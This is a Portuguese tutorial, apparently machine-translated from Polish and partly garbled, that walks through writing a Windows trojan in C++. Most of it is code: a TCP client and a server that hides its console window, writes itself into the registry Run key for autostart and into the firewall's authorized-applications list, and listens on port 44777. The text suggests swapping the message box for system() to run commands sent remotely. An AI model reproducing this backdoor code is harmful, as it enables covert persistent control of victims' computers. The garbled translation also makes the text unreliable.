Cavalo de tróia em C++ - thehell.org
by haker.com.pl

Como escrever um cavalo de Tróia no C + +? Vou tentar explicar isso para descrever o código abaixo.
O que você precisa para gravar um programa desse tipo? Primeiro, o compilador (no meu caso será IDE - Dev-CPP). Em segundo lugar, o conhecimento da linguagem C + +. Para testar seu programa o suficiente para localhost, ou seja, o endereço IP 127.0.0.1. Aproximem-se de execução, no final do show como dolinkowac arquivos necessários para compilar o código.
Eu vou te mostrar um exemplo de como o cliente. Para começar, precisamos inkludujemy naglówkowe.W arquivos nosso caso irão incluir:

```
#include <winsock.h>
#include <string>
#include <iostream>
using namespace std;
```

1.winsock.h - para a comunicação entre cliente e servidor.
1, 2 string - para lidar com o comando. Você pode usar variáveis do tipo char, enquanto eu prefiro uma string (operações de melhor e mais recursos.) Nós não temos que escrever std:: string com cada variável declarações using namespace std;.
3. iostream - para se comunicar com o usuário.
WinSocket'y necessário algumas variáveis para funcionar adequadamente:

```
WSADATA wsadata;
struct hostent *serwer;
SOCKET klient;
SOCKADDR_IN adres;
```

WSADATA - Nós não precisamos de informações retornadas pela função WSAStartup.
Para armazenar as informações sobre o servidor (host) hostent estrutura wykorzytamy;
cliente - o soquete do cliente;
Endereço - precisamos de todas as variáveis para a ³ Conexão com o servidor.
No corpo do main () escreve:

```
WSAStartup(MAKEWORD(2,2), &wsadata);
klient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
```

WSAStartup - versão iniciar winsocketów 2,2
socket () - função cria Nam soquete TCP / IP. Resultado (socket) é uma variável devolvida pelo cliente.
Complementar as informações sobre o servidor:

```
string adresip, wiadomosc;
```

```
cout << "Polacz z: ";
getline(cin, adresip);
int PORT = 44777;
int dziennik_bledow;
adres.sin_family = AF_INET;
adres.sin_port = htons(PORT);
adres.sin_addr.s_addr = inet_addr(adresip.c_str());
```

E agora é que como a maioria dos tigres:

```
dziennik_bledow = connect(klient, (struct sockaddr*)&adres, sizeof(adres));
while(1)
{
   cout << "Podaj tresc wiadomosc jaka ma byc wyswietlona na serwerze: ";
   getline(cin, wiadomosc);
   dziennik_bledow = send(klient, wiadomosc.c_str(), wiadomosc.length(), 0);
   if(dziennik_bledow == SOCKET_ERROR)
cout << "\t\v\a Blad wysylania danych do serwera!" << endl;
else cout << "\t\v Wyslano! " << endl;
Sleep(10);
}
getchar();
```

Como você observou variável dziennik_bledow guarda o resultado da função send (). Também pode ser aplicada a esse função connect () e recv (). getchar () faz com que estas linhas depois que o programa está esperando por alguém que pressione enter.

Bem, agora tempo para o servidor:
Quanto à inkludujemy cliente:

```
#include <winsock.h>
#include <string>
#include <iostream>
#include <windows.h>
using namespace std;
```

1. windows.h - não é necessário, no nosso caso, porque nós usamos a função MessageBox (), ocultar a janela, e adicionar ao registro:

```
WSADATA wsadata;
SOCKET klient, nasluch;
SOCKADDR_IN adres, adres_klienta;
string tresc, wartosc;
char wiadomosc[512];
```

Blackboard irá realizar a mensagem recebida uma mensagem do servidor, o conteúdo da variável será usada para operar no quadro de mensagens. Valor da variável nos ser útil quando você adiciona ao registro (Autorun nosso programa)
Agora, o console de mascaramento janela. Instukcja Estes são sempre colocadas no início da função principal, para que outras instruções acima (ou erros na sua implementação) não deve levar a zwieszenia programa. Tegobysmy estáticas - que gostaria de ver na tela da janela de Tróia?

```
HWND okno = FindWindow("ConsoleWindowClass", 0);
ShowWindow(okno, SW_HIDE);
```

Você provavelmente vai querer fazer o nosso cavalo estava correndo na inicialização. Precisamos adicioná-lo ao registro (este é um de pelo menos algumas soluções):

```
HKEY klucz;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz);
RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0]));
RegCreateKey(HKEY_LOCAL_MACHINE,
"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz);
wartosc = argv[0];
wartosc += ":*:Enabled:";
wartosc += argv[0];
RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));
```

Fim da WinAPI, agora winsockety:

```
WSAStartup(MAKEWORD(2,2), &wsadata);
nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
int PORT = 44777;
int adres_dlugosc;
adres.sin_family = AF_INET;
adres.sin_port = htons(PORT);
adres.sin_addr.s_addr = htonl(INADDR_ANY);
bind(nasluch, (struct sockaddr*)&adres, sizeof(adres));
listen(nasluch, 10);
adres_dlugosc = sizeof(adres_klienta);
klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);
```

Carregar versão winsocketów 2.2, criar um ouvinte de soquete TCP, a configuração da porta (eu encorajá-lo a definir a mesma do cliente, caso contrário o servidor não precisa (-:), completar a estrutura, ouvinte socket, o ouvinte preparado para ouvir, baixar o comprimento do endereço ip , aceitando o convite. Agora, porta PORT e processar a mensagem:

```
while(1)
{
for(int i = 0 ; i < sizeof(wiadomosc) ; i++)
{
char c[1] = "";
wiadomosc[i] = c[0];
}
   recv(klient, wiadomosc, sizeof(wiadomosc), 0);
tresc = wiadomosc;
if(tresc != "")
MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR);
}
   closesocket(klient);
   WSACleanup();
} // koniec main()
```

Descrição da obra última de código - apagar o conteúdo do quadro de mensagens se houver wrazie smieciory fosse. Ao receber uma mensagem do cliente - utilize a função recv. Verifique se o conteúdo da variável tem algum conteúdo, se assim for, então eu digo jogar MessageBox'a. MessageBox é um (na prática, muitas vezes não é necessário quando se escreve um cavalo de Tróia) solução. Eu usei-os poderemos ver a mensagem (supondo que você editar o teste] código do programa). Uma das aplicações seria:

```
system(tresc.c_str());
```

Iria realizar a nossa mensagem na linha de comando (por exemplo, começar a "D: \ \ Program Files \ naked.jpg"). No lugar de MessageBox'a pode inserir qualquer coisa. É este um recorde para um arquivo Assunto (útil ao transferir arquivos [código binário]), ou desenhar um macaco em uma spudnicy rosa transwescyty na tela ou qualquer outra coisa.

PS: Por favor, não se surpreenda que pesa tanto servidor.